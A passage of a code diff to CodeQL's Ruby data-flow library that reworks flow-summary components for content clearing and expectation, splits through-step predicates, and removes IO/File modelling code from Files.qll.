@@ -800,6 +802,14 @@ predicate clearsContent(Node n, ContentSet c) {
   FlowSummaryImpl::Private::Steps::summaryClearsContent(n, c)
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) {
+  FlowSummaryImpl::Private::Steps::summaryExpectsContent(n, c)
+}
+
 private newtype TDataFlowType =
   TTodoDataFlowType() or
   TTodoDataFlowType2() // Add a dummy value to prevent bad functionality-induced joins arising from a type of size 1.
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImpl.qll
index b975a31c394..17d4628a83c 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImpl.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImpl.qll
@@ -26,6 +26,10 @@ module Public {
     string toString() {
       exists(ContentSet c | this = TContentSummaryComponent(c) and result = c.toString())
       or
+      exists(ContentSet c | this = TWithoutContentSummaryComponent(c) and result = "without " + c)
+      or
+      exists(ContentSet c | this = TWithContentSummaryComponent(c) and result = "with " + c)
+      or
       exists(ArgumentPosition pos |
         this = TParameterSummaryComponent(pos) and result = "parameter " + pos
       )
@@ -43,6 +47,12 @@ module Public {
     /** Gets a summary component for content `c`. */
     SummaryComponent content(ContentSet c) { result = TContentSummaryComponent(c) }
 
+    /** Gets a summary component where data is not allowed to be stored in `c`. */
+    SummaryComponent withoutContent(ContentSet c) { result = TWithoutContentSummaryComponent(c) }
+
+    /** Gets a summary component where data must be stored in `c`. */
+    SummaryComponent withContent(ContentSet c) { result = TWithContentSummaryComponent(c) }
+
     /** Gets a summary component for a parameter at position `pos`. */
     SummaryComponent parameter(ArgumentPosition pos) { result = TParameterSummaryComponent(pos) }
 
@@ -185,7 +195,10 @@ module Public {
   }
 
   /** A callable with a flow summary. */
-  abstract class SummarizedCallable extends DataFlowCallable {
+  abstract class SummarizedCallable extends SummarizedCallableBase {
+    bindingset[this]
+    SummarizedCallable() { any() }
+
     /**
      * Holds if data may flow from `input` to `output` through this callable.
      *
@@ -216,9 +229,16 @@ module Public {
     /**
      * Holds if values stored inside `content` are cleared on objects passed as
      * arguments at position `pos` to this callable.
+     *
+     * TODO: Remove once all languages support `WithoutContent` tokens.
      */
     pragma[nomagic]
     predicate clearsContent(ParameterPosition pos, ContentSet content) { none() }
+
+    /**
+     * Holds if the summary is auto generated.
+     */
+    predicate isAutoGenerated() { none() }
   }
 }
 
@@ -234,7 +254,9 @@ module Private {
     TContentSummaryComponent(ContentSet c) or
     TParameterSummaryComponent(ArgumentPosition pos) or
     TArgumentSummaryComponent(ParameterPosition pos) or
-    TReturnSummaryComponent(ReturnKind rk)
+    TReturnSummaryComponent(ReturnKind rk) or
+    TWithoutContentSummaryComponent(ContentSet c) or
+    TWithContentSummaryComponent(ContentSet c)
 
   private TParameterSummaryComponent thisParam() {
     result = TParameterSummaryComponent(instanceParameterPosition())
@@ -296,6 +318,23 @@ module Private {
           SummaryComponentStack::singleton(TArgumentSummaryComponent(_))) and
       preservesValue = preservesValue1.booleanAnd(preservesValue2)
     )
+    or
+    exists(ParameterPosition ppos, ContentSet cs |
+      c.clearsContent(ppos, cs) and
+      input = SummaryComponentStack::push(SummaryComponent::withoutContent(cs), output) and
+      output = SummaryComponentStack::argument(ppos) and
+      preservesValue = true
+    )
+  }
+
+  private class MkClearStack extends RequiredSummaryComponentStack {
+    override predicate required(SummaryComponent head, SummaryComponentStack tail) {
+      exists(SummarizedCallable sc, ParameterPosition ppos, ContentSet cs |
+        sc.clearsContent(ppos, cs) and
+        head = SummaryComponent::withoutContent(cs) and
+        tail = SummaryComponentStack::argument(ppos)
+      )
+    }
   }
 
   /**
@@ -378,10 +417,7 @@ module Private {
 
   private newtype TSummaryNodeState =
     TSummaryNodeInputState(SummaryComponentStack s) { inputState(_, s) } or
-    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) } or
-    TSummaryNodeClearsContentState(ParameterPosition pos, boolean post) {
-      any(SummarizedCallable sc).clearsContent(pos, _) and post in [false, true]
-    }
+    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) }
 
   /**
    * A state used to break up (complex) flow summaries into atomic flow steps.
@@ -428,12 +464,6 @@ module Private {
         this = TSummaryNodeOutputState(s) and
         result = "to write: " + s
       )
-      or
-      exists(ParameterPosition pos, boolean post, string postStr |
-        this = TSummaryNodeClearsContentState(pos, post) and
-        (if post = true then postStr = " (post)" else postStr = "") and
-        result = "clear: " + pos + postStr
-      )
     }
   }
 
@@ -457,11 +487,6 @@ module Private {
     not parameterReadState(c, state, _)
     or
     state.isOutputState(c, _)
-    or
-    exists(ParameterPosition pos |
-      c.clearsContent(pos, _) and
-      state = TSummaryNodeClearsContentState(pos, _)
-    )
   }
 
   pragma[noinline]
@@ -471,7 +496,7 @@ module Private {
       or
       exists(ParameterPosition pos |
         parameterReadState(c, state, pos) and
-        result.(ParamNode).isParameterOf(c, pos)
+        result.(ParamNode).isParameterOf(inject(c), pos)
       )
     )
   }
@@ -497,8 +522,6 @@ module Private {
     parameterReadState(c, _, pos)
     or
     isParameterPostUpdate(_, c, pos)
-    or
-    c.clearsContent(pos, _)
   }
 
   private predicate callbackOutput(
@@ -506,7 +529,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isInputState(c, s) and
     s.head() = TReturnSummaryComponent(rk) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   private predicate callbackInput(
@@ -514,7 +537,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isOutputState(c, s) and
     s.head() = TParameterSummaryComponent(pos) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   /** Holds if a call targeting `receiver` should be synthesized inside `c`. */
@@ -540,15 +563,21 @@ module Private {
     exists(SummarizedCallable c, SummaryComponentStack s, SummaryComponent head | head = s.head() |
       n = summaryNodeInputState(c, s) and
       (
+        exists(ContentSet cont | result = getContentType(cont) |
+          head = TContentSummaryComponent(cont) or
+          head = TWithContentSummaryComponent(cont)
+        )
+        or
         exists(ContentSet cont |
-          head = TContentSummaryComponent(cont) and result = getContentType(cont)
+          head = TWithoutContentSummaryComponent(cont) and
+          result = getNodeType(summaryNodeInputState(c, s.tail()))
         )
         or
         exists(ReturnKind rk |
           head = TReturnSummaryComponent(rk) and
           result =
             getCallbackReturnType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), rk)
+                  s.tail())), rk)
         )
       )
       or
@@ -567,16 +596,10 @@ module Private {
         exists(ArgumentPosition pos | head = TParameterSummaryComponent(pos) |
           result =
             getCallbackParameterType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), pos)
+                  s.tail())), pos)
         )
       )
     )
-    or
-    exists(SummarizedCallable c, ParameterPosition pos, ParamNode p |
-      n = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      p.isParameterOf(c, pos) and
-      result = getNodeType(p)
-    )
   }
 
   /** Holds if summary node `out` contains output of kind `rk` from call `c`. */
@@ -601,10 +624,7 @@ module Private {
   predicate summaryPostUpdateNode(Node post, Node pre) {
     exists(SummarizedCallable c, ParameterPosition pos |
       isParameterPostUpdate(post, c, pos) and
-      pre.(ParamNode).isParameterOf(c, pos)
-      or
-      pre = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      post = summaryNode(c, TSummaryNodeClearsContentState(pos, true))
+      pre.(ParamNode).isParameterOf(inject(c), pos)
     )
     or
     exists(SummarizedCallable callable, SummaryComponentStack s |
@@ -627,9 +647,7 @@ module Private {
    * node, and back out to `p`.
    */
   predicate summaryAllowParameterReturnInSelf(ParamNode p) {
-    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(c, ppos) |
-      c.clearsContent(ppos, _)
-      or
+    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(inject(c), ppos) |
       exists(SummaryComponentStack inputContents, SummaryComponentStack outputContents |
         summary(c, inputContents, outputContents, _) and
         inputContents.bottom() = pragma[only_bind_into](TArgumentSummaryComponent(ppos)) and
@@ -658,9 +676,10 @@ module Private {
         preservesValue = false and not summary(c, inputContents, outputContents, true)
       )
       or
-      exists(SummarizedCallable c, ParameterPosition pos |
-        pred.(ParamNode).isParameterOf(c, pos) and
-        succ = summaryNode(c, TSummaryNodeClearsContentState(pos, _)) and
+      exists(SummarizedCallable c, SummaryComponentStack s |
+        pred = summaryNodeInputState(c, s.tail()) and
+        succ = summaryNodeInputState(c, s) and
+        s.head() = [SummaryComponent::withContent(_), SummaryComponent::withoutContent(_)] and
         preservesValue = true
       )
     }
@@ -671,7 +690,7 @@ module Private {
      */
     predicate summaryReadStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
-        pred = summaryNodeInputState(sc, s.drop(1)) and
+        pred = summaryNodeInputState(sc, s.tail()) and
         succ = summaryNodeInputState(sc, s) and
         SummaryComponent::content(c) = s.head()
       )
@@ -684,7 +703,7 @@ module Private {
     predicate summaryStoreStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
         pred = summaryNodeOutputState(sc, s) and
-        succ = summaryNodeOutputState(sc, s.drop(1)) and
+        succ = summaryNodeOutputState(sc, s.tail()) and
         SummaryComponent::content(c) = s.head()
       )
     }
@@ -709,9 +728,22 @@ module Private {
      * node where field `b` is cleared).
      */
     predicate summaryClearsContent(Node n, ContentSet c) {
-      exists(SummarizedCallable sc, ParameterPosition pos |
-        n = summaryNode(sc, TSummaryNodeClearsContentState(pos, true)) and
-        sc.clearsContent(pos, c)
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withoutContent(c)
+      )
+    }
+
+    /**
+     * Holds if the value that is being tracked is expected to be stored inside
+     * content `c` at `n`.
+     */
+    predicate summaryExpectsContent(Node n, ContentSet c) {
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withContent(c)
       )
     }
 
@@ -719,23 +751,10 @@ module Private {
     private predicate viableParam(
       DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos, ParamNode p
     ) {
-      p.isParameterOf(sc, ppos) and
-      sc = viableCallable(call)
-    }
-
-    /**
-     * Holds if values stored inside content `c` are cleared inside a
-     * callable to which `arg` is an argument.
-     *
-     * In such cases, it is important to prevent use-use flow out of
-     * `arg` (see comment for `summaryClearsContent`).
-     */
-    pragma[nomagic]
-    predicate summaryClearsContentArg(ArgNode arg, ContentSet c) {
-      exists(DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos |
-        argumentPositionMatch(call, arg, ppos) and
-        viableParam(call, sc, ppos, _) and
-        sc.clearsContent(ppos, c)
+      exists(DataFlowCallable c |
+        c = inject(sc) and
+        p.isParameterOf(c, ppos) and
+        c = viableCallable(call)
       )
     }
 
@@ -747,28 +766,62 @@ module Private {
       )
     }
 
+    /**
+     * Holds if use-use flow starting from `arg` should be prohibited.
+     *
+     * This is the case when `arg` is the argument of a call that targets a
+     * flow summary where the corresponding parameter either clears contents
+     * or expects contents.
+     */
     pragma[nomagic]
-    private ParamNode summaryArgParam(ArgNode arg, ReturnKindExt rk, OutNodeExt out) {
-      exists(DataFlowCall call |
+    predicate prohibitsUseUseFlow(ArgNode arg) {
+      exists(ParamNode p, Node mid, ParameterPosition ppos, Node ret |
+        p = summaryArgParam0(_, arg) and
+        p.isParameterOf(_, ppos) and
+        summaryLocalStep(p, mid, true) and
+        summaryLocalStep(mid, ret, true) and
+        isParameterPostUpdate(ret, _, ppos)
+      |
+        summaryClearsContent(mid, _) or
+        summaryExpectsContent(mid, _)
+      )
+    }
+
+    bindingset[ret]
+    private ParamNode summaryArgParam(ArgNode arg, ReturnNodeExt ret, OutNodeExt out) {
+      exists(DataFlowCall call, ReturnKindExt rk |
         result = summaryArgParam0(call, arg) and
-        out = rk.getAnOutNode(call)
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = pragma[only_bind_into](rk).getAnOutNode(call)
       )
     }
 
     /**
-     * Holds if `arg` flows to `out` using a simple flow summary, that is, a flow
-     * summary without reads and stores.
+     * Holds if `arg` flows to `out` using a simple value-preserving flow
+     * summary, that is, a flow summary without reads and stores.
      *
      * NOTE: This step should not be used in global data-flow/taint-tracking, but may
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
-    predicate summaryThroughStep(ArgNode arg, Node out, boolean preservesValue) {
-      exists(ReturnKindExt rk, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), ret, preservesValue) and
-        ret.getKind() = rk
+    predicate summaryThroughStepValue(ArgNode arg, Node out) {
+      exists(ReturnKind rk, ReturnNode ret, DataFlowCall call |
+        summaryLocalStep(summaryArgParam0(call, arg), ret, true) and
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = getAnOutNode(call, pragma[only_bind_into](rk))
       )
     }
 
+    /**
+     * Holds if `arg` flows to `out` using a simple flow summary involving taint
+     * step, that is, a flow summary without reads and stores.
+     *
+     * NOTE: This step should not be used in global data-flow/taint-tracking, but may
+     * be useful to include in the exposed local data-flow/taint-tracking relations.
+     */
+    predicate summaryThroughStepTaint(ArgNode arg, Node out) {
+      exists(ReturnNodeExt ret | summaryLocalStep(summaryArgParam(arg, ret, out), ret, false))
+    }
+
     /**
      * Holds if there is a read(+taint) of `c` from `arg` to `out` using a
      * flow summary.
@@ -777,10 +830,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summaryGetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryReadStep(summaryArgParam(arg, rk, out), c, mid) and
-        summaryLocalStep(mid, ret, _) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryReadStep(summaryArgParam(arg, ret, out), c, mid) and
+        summaryLocalStep(mid, ret, _)
       )
     }
 
@@ -792,10 +844,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summarySetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), mid, _) and
-        summaryStoreStep(mid, c, ret) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryLocalStep(summaryArgParam(arg, ret, out), mid, _) and
+        summaryStoreStep(mid, c, ret)
       )
     }
   }
@@ -898,6 +949,8 @@ module Private {
           kind = "taint" and preservesValue = false
         )
       }
+
+      override predicate isAutoGenerated() { summaryElement(this, _, _, _, true) }
     }
 
     /** Holds if component `c` of specification `spec` cannot be parsed. */
@@ -1033,7 +1086,7 @@ module Private {
   /** Provides a query predicate for outputting a set of relevant flow summaries. */
   module TestOutput {
     /** A flow summary to include in the `summary/3` query predicate. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable {
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
       /** Gets the string representation of this callable used by `summary/1`. */
       abstract string getCallableCsv();
 
@@ -1041,8 +1094,10 @@ module Private {
       predicate relevantSummary(
         SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
       ) {
-        this.propagatesFlow(input, output, preservesValue)
+        super.propagatesFlow(input, output, preservesValue)
       }
+
+      string toString() { result = super.toString() }
     }
 
     /** Render the kind in the format used in flow summaries. */
@@ -1052,9 +1107,13 @@ module Private {
       preservesValue = false and result = "taint"
     }
 
+    private string renderGenerated(RelevantSummarizedCallable c) {
+      if c.(SummarizedCallable).isAutoGenerated() then result = "generated:" else result = ""
+    }
+
     /**
      * A query predicate for outputting flow summaries in semi-colon separated format in QL tests.
-     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;kind",
+     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;(generated:)?kind",
      * ext is hardcoded to empty.
      */
     query predicate summary(string csv) {
@@ -1065,7 +1124,7 @@ module Private {
         c.relevantSummary(input, output, preservesValue) and
         csv =
           c.getCallableCsv() + getComponentStackCsv(input) + ";" + getComponentStackCsv(output) +
-            ";" + renderKind(preservesValue)
+            ";" + renderGenerated(c) + renderKind(preservesValue)
       )
     }
   }
@@ -1079,19 +1138,21 @@ module Private {
    */
   module RenderSummarizedCallable {
     /** A summarized callable to include in the graph. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable { }
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
+      string toString() { result = super.toString() }
+    }
 
     private newtype TNodeOrCall =
       MkNode(Node n) {
         exists(RelevantSummarizedCallable c |
           n = summaryNode(c, _)
           or
-          n.(ParamNode).isParameterOf(c, _)
+          n.(ParamNode).isParameterOf(inject(c), _)
         )
       } or
       MkCall(DataFlowCall call) {
         call = summaryDataFlowCall(_) and
-        call.getEnclosingCallable() instanceof RelevantSummarizedCallable
+        call.getEnclosingCallable() = inject(any(RelevantSummarizedCallable c))
       }
 
     private class NodeOrCall extends TNodeOrCall {
@@ -1141,6 +1202,10 @@ module Private {
         Private::Steps::summaryClearsContent(a.asNode(), c) and
         b = a and
         value = "clear (" + c + ")"
+        or
+        Private::Steps::summaryExpectsContent(a.asNode(), c) and
+        b = a and
+        value = "expect (" + c + ")"
       )
       or
       summaryPostUpdateNode(b.asNode(), a.asNode()) and
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImplSpecific.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImplSpecific.qll
index 450ed5821b3..7626a8b88a8 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImplSpecific.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/FlowSummaryImplSpecific.qll
@@ -11,6 +11,10 @@ private import FlowSummaryImpl::Private
 private import FlowSummaryImpl::Public
 private import codeql.ruby.dataflow.FlowSummary as FlowSummary
 
+class SummarizedCallableBase = string;
+
+DataFlowCallable inject(SummarizedCallable c) { result.asLibraryCallable() = c }
+
 /** Gets the parameter position of the instance parameter. */
 ArgumentPosition instanceParameterPosition() { none() } // disables implicit summary flow to `self` for callbacks
 
@@ -46,25 +50,39 @@ DataFlowType getCallbackReturnType(DataFlowType t, ReturnKind rk) { any() }
  * stating whether the summary is autogenerated.
  */
 predicate summaryElement(
-  DataFlowCallable c, string input, string output, string kind, boolean generated
+  FlowSummary::SummarizedCallable c, string input, string output, string kind, boolean generated
 ) {
-  exists(FlowSummary::SummarizedCallable sc, boolean preservesValue |
-    sc.propagatesFlowExt(input, output, preservesValue) and
-    c.asLibraryCallable() = sc and
+  exists(boolean preservesValue |
+    c.propagatesFlowExt(input, output, preservesValue) and
     (if preservesValue = true then kind = "value" else kind = "taint") and
     generated = false
   )
 }
 
+bindingset[arg]
+private SummaryComponent interpretElementArg(string arg) {
+  arg = "?" and
+  result = FlowSummary::SummaryComponent::elementUnknown()
+  or
+  arg = "any" and
+  result = FlowSummary::SummaryComponent::elementAny()
+  or
+  exists(ConstantValue cv | result = FlowSummary::SummaryComponent::elementKnown(cv) |
+    cv.isInt(AccessPath::parseInt(arg))
+    or
+    not exists(AccessPath::parseInt(arg)) and
+    cv.serialize() = arg
+  )
+}
+
 /**
  * Gets the summary component for specification component `c`, if any.
  *
  * This covers all the Ruby-specific components of a flow summary.
  */
 SummaryComponent interpretComponentSpecific(AccessPathToken c) {
-  c.getName() = "Argument" and
   exists(string arg, ParameterPosition ppos |
-    arg = c.getAnArgument() and
+    arg = c.getAnArgument("Argument") and
     result = FlowSummary::SummaryComponent::argument(ppos)
   |
     arg = "any" and
@@ -73,20 +91,17 @@ SummaryComponent interpretComponentSpecific(AccessPathToken c) {
     ppos.isPositionalLowerBound(AccessPath::parseLowerBound(arg))
   )
   or
-  c.getName() = "Element" and
-  exists(string arg | arg = c.getAnArgument() |
-    arg = "?" and
-    result = FlowSummary::SummaryComponent::elementUnknown()
-    or
-    arg = "any" and
-    result = FlowSummary::SummaryComponent::elementAny()
-    or
-    exists(ConstantValue cv | result = FlowSummary::SummaryComponent::elementKnown(cv) |
-      cv.isInt(AccessPath::parseInt(arg))
-      or
-      not exists(AccessPath::parseInt(arg)) and
-      cv.serialize() = c.getAnArgument()
-    )
+  result = interpretElementArg(c.getAnArgument("Element"))
+  or
+  exists(ContentSet cs |
+    FlowSummary::SummaryComponent::content(cs) = interpretElementArg(c.getAnArgument("WithElement")) and
+    result = FlowSummary::SummaryComponent::withContent(cs)
+  )
+  or
+  exists(ContentSet cs |
+    FlowSummary::SummaryComponent::content(cs) =
+      interpretElementArg(c.getAnArgument("WithoutElement")) and
+    result = FlowSummary::SummaryComponent::withoutContent(cs)
   )
 }
 
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/TaintTrackingPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/TaintTrackingPrivate.qll
index f9e3229188f..8aca887d92f 100755
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/TaintTrackingPrivate.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/TaintTrackingPrivate.qll
@@ -68,6 +68,9 @@ private CfgNodes::ExprNodes::VariableWriteAccessCfgNode variablesInPattern(
 
 cached
 private module Cached {
+  cached
+  predicate forceCachingInSameStage() { any() }
+
   /**
    * Holds if the additional step from `nodeFrom` to `nodeTo` should be included
    * in all global taint flow configurations.
@@ -119,7 +122,7 @@ private module Cached {
     or
     // Simple flow through library code is included in the exposed local
     // step relation, even though flow is technically inter-procedural
-    FlowSummaryImpl::Private::Steps::summaryThroughStep(nodeFrom, nodeTo, false)
+    FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(nodeFrom, nodeTo)
   }
 }
 
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/ActionDispatch.qll b/ruby/ql/lib/codeql/ruby/frameworks/ActionDispatch.qll
index a00e8293fd2..bd16ef3796e 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/ActionDispatch.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/ActionDispatch.qll
@@ -279,7 +279,7 @@ module ActionDispatch {
    * ```rb
    * get "/photos", to: "photos#index"
    * ```
-   * or via a convenience method like `resources`, which defines mutiple routes at once:
+   * or via a convenience method like `resources`, which defines multiple routes at once:
    * ```rb
    * resources :photos
    * ```
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/Core.qll b/ruby/ql/lib/codeql/ruby/frameworks/Core.qll
index a3e42f2233f..e4762b679fa 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/Core.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/Core.qll
@@ -12,6 +12,7 @@ import core.Module
 import core.Array
 import core.String
 import core.Regexp
+import core.IO
 
 /**
  * A system command executed via subshell literal syntax.
@@ -61,11 +62,11 @@ private class SplatSummary extends SummarizedCallable {
   override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
     (
       // *1 = [1]
-      input = "Argument[self]" and
+      input = "Argument[self].WithoutElement[any]" and
       output = "ReturnValue.Element[0]"
       or
       // *[1] = [1]
-      input = "Argument[self]" and
+      input = "Argument[self].WithElement[any]" and
       output = "ReturnValue"
     ) and
     preservesValue = true
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/Files.qll b/ruby/ql/lib/codeql/ruby/frameworks/Files.qll
index e479828c4c4..c409a4a7884 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/Files.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/Files.qll
@@ -6,267 +6,10 @@ private import ruby
 private import codeql.ruby.Concepts
 private import codeql.ruby.ApiGraphs
 private import codeql.ruby.DataFlow
-private import codeql.ruby.frameworks.Core
 private import codeql.ruby.dataflow.FlowSummary
-
-private DataFlow::Node ioInstanceInstantiation() {
-  result = API::getTopLevelMember("IO").getAnInstantiation() or
-  result = API::getTopLevelMember("IO").getAMethodCall(["for_fd", "open", "try_convert"])
-}
-
-private DataFlow::Node ioInstance() {
-  result = ioInstanceInstantiation()
-  or
-  exists(DataFlow::Node inst |
-    inst = ioInstance() and
-    inst.(DataFlow::LocalSourceNode).flowsTo(result)
-  )
-}
-
-// Match some simple cases where a path argument specifies a shell command to
-// be executed. For example, the `"|date"` argument in `IO.read("|date")`, which
-// will execute a shell command and read its output rather than reading from the
-// filesystem.
-private predicate pathArgSpawnsSubprocess(Expr arg) {
-  arg.getConstantValue().getStringlikeValue().charAt(0) = "|"
-}
-
-private DataFlow::Node fileInstanceInstantiation() {
-  result = API::getTopLevelMember("File").getAnInstantiation()
-  or
-  result = API::getTopLevelMember("File").getAMethodCall(["open", "try_convert"])
-  or
-  // Calls to `Kernel.open` can yield `File` instances
-  result.(KernelMethodCall).getMethodName() = "open" and
-  // Assume that calls that don't invoke shell commands will instead open
-  // a file.
-  not pathArgSpawnsSubprocess(result.(KernelMethodCall).getArgument(0).asExpr().getExpr())
-}
-
-private DataFlow::Node fileInstance() {
-  result = fileInstanceInstantiation()
-  or
-  exists(DataFlow::Node inst |
-    inst = fileInstance() and
-    inst.(DataFlow::LocalSourceNode).flowsTo(result)
-  )
-}
-
-abstract private class IOOrFileMethodCall extends DataFlow::CallNode {
-  // TODO: Currently this only handles class method calls.
-  // Can we infer a path argument for instance method calls?
-  // e.g. by tracing back to the instantiation of that instance
-  DataFlow::Node getAPathArgumentImpl() {
-    result = this.getArgument(0) and this.getReceiverKind() = "class"
-  }
-
-  /**
-   * Holds if this call appears to read/write from/to a spawned subprocess,
-   * rather than to/from a file.
-   */
-  predicate spawnsSubprocess() {
-    pathArgSpawnsSubprocess(this.getAPathArgumentImpl().asExpr().getExpr())
-  }
-
-  /** Gets the API used to perform this call, either "IO" or "File" */
-  abstract string getApi();
-
-  /** DEPRECATED: Alias for getApi */
-  deprecated string getAPI() { result = this.getApi() }
-
-  /** Gets a node representing the data read or written by this call */
-  abstract DataFlow::Node getADataNodeImpl();
-
-  /** Gets a string representation of the receiver kind, either "class" or "instance". */
-  abstract string getReceiverKind();
-}
-
-/**
- * A method call that performs a read using either the `IO` or `File` classes.
- */
-private class IOOrFileReadMethodCall extends IOOrFileMethodCall {
-  private string api;
-  private string receiverKind;
-
-  IOOrFileReadMethodCall() {
-    exists(string methodName | methodName = this.getMethodName() |
-      // e.g. `{IO,File}.readlines("foo.txt")`
-      receiverKind = "class" and
-      methodName = ["binread", "foreach", "read", "readlines"] and
-      api = ["IO", "File"] and
-      this = API::getTopLevelMember(api).getAMethodCall(methodName)
-      or
-      // e.g. `{IO,File}.new("foo.txt", "r").getc`
-      receiverKind = "interface" and
-      (
-        methodName =
-          [
-            "getbyte", "getc", "gets", "pread", "read", "read_nonblock", "readbyte", "readchar",
-            "readline", "readlines", "readpartial", "sysread"
-          ] and
-        (
-          this.getReceiver() = ioInstance() and api = "IO"
-          or
-          this.getReceiver() = fileInstance() and api = "File"
-        )
-      )
-    )
-  }
-
-  override string getApi() { result = api }
-
-  /** DEPRECATED: Alias for getApi */
-  deprecated override string getAPI() { result = this.getApi() }
-
-  override DataFlow::Node getADataNodeImpl() { result = this }
-
-  override string getReceiverKind() { result = receiverKind }
-}
-
-/**
- * A method call that performs a write using either the `IO` or `File` classes.
- */
-private class IOOrFileWriteMethodCall extends IOOrFileMethodCall {
-  private string api;
-  private string receiverKind;
-  private DataFlow::Node dataNode;
-
-  IOOrFileWriteMethodCall() {
-    exists(string methodName | methodName = this.getMethodName() |
-      // e.g. `{IO,File}.write("foo.txt", "hello\n")`
-      receiverKind = "class" and
-      api = ["IO", "File"] and
-      this = API::getTopLevelMember(api).getAMethodCall(methodName) and
-      methodName = ["binwrite", "write"] and
-      dataNode = this.getArgument(1)
-      or
-      // e.g. `{IO,File}.new("foo.txt", "a+).puts("hello")`
-      receiverKind = "interface" and
-      (
-        this.getReceiver() = ioInstance() and api = "IO"
-        or
-        this.getReceiver() = fileInstance() and api = "File"
-      ) and
-      (
-        methodName = ["<<", "print", "putc", "puts", "syswrite", "pwrite", "write_nonblock"] and
-        dataNode = this.getArgument(0)
-        or
-        // Any argument to these methods may be written as data
-        methodName = ["printf", "write"] and dataNode = this.getArgument(_)
-      )
-    )
-  }
-
-  override string getApi() { result = api }
-
-  /** DEPRECATED: Alias for getApi */
-  deprecated override string getAPI() { result = this.getApi() }
-
-  override DataFlow::Node getADataNodeImpl() { result = dataNode }
-
-  override string getReceiverKind() { result = receiverKind }
-}
-
-/**
- * Classes and predicates for modeling the core `IO` module.
- */
-module IO {
-  /**
-   * An instance of the `IO` class, for example in
-   *
-   * ```rb
-   * rand = IO.new(IO.sysopen("/dev/random", "r"), "r")
-   * rand_data = rand.read(32)
-   * ```
-   *
-   * there are 3 `IOInstance`s - the call to `IO.new`, the assignment
-   * `rand = ...`, and the read access to `rand` on the second line.
-   */
-  class IOInstance extends DataFlow::Node {
-    IOInstance() {
-      this = ioInstance() or
-      this = fileInstance()
-    }
-  }
-
-  /**
-   * A `DataFlow::CallNode` that reads data using the `IO` class. For example,
-   * the `read` and `readline` calls in:
-   *
-   * ```rb
-   * # invokes the `date` shell command as a subprocess, returning its output as a string
-   * IO.read("|date")
-   *
-   * # reads from the file `foo.txt`, returning its first line as a string
-   * IO.new(IO.sysopen("foo.txt")).readline
-   * ```
-   *
-   * This class includes only reads that use the `IO` class directly, not those
-   * that use a subclass of `IO` such as `File`.
